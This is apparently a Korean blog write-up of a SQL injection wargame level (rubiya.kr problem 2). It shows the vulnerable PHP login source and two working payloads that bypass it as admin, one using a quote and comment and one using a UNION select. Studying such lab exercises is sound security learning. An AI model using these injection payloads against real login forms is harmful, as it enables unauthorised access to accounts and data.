webhacking/sql, sql injection

rubiya.kr 2번

qkqhxla1 2014. 8. 28. 13:29

http://rubiya.kr/sqli/prob2.php


<?php 
  
include "./dbconn.php"
  include 
"./solve.php"
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob2 where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve(); 
  elseif(
$result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  
highlight_file(__FILE__); 
?>


GET방식으로 id와 pw를 받아와서 쿼리를 출력하고, 쿼리를 돌린 후에 나온 결과값이 admin


이면 통과(solve()). 


admin이라는 아이디가 존재하거나 또는 union 등으로 admin을 만들라는 소리겠네요.


기본 쿼리문을 살펴보면 


query : select id from prob2 where id='' and pw=md5('')


admin이라는 id가 있다고 가정하고 id = admin'#, pw=아무거나 등으로 해보면..


?id=admin%27%23&pw=1234


query : select id from prob2 where id='admin'#' and pw=md5('1234') 주석처리


가 되어 클리어가 가능하네요. union으로도 해보면...


?id=g%27%20union%20select%20%27admin%27%23&pw=1234


query : select id from prob2 where id='g' union select 'admin'#' and pw=md5('1234') 


가 되어 id='g'거나 새로 admin이라는 문자열을 만들었을 경우도 됩니다.

'webhacking > sql, sql injection' 카테고리의 다른 글

rubiya.kr 4번  (0) 2014.08.28
rubiya.kr 3번  (0) 2014.08.28
rubiya.kr 1번.  (0) 2014.08.28
시간 기반 sql 인젝션.  (0) 2014.08.22
효율적인 블라인드 인젝션  (0) 2014.08.20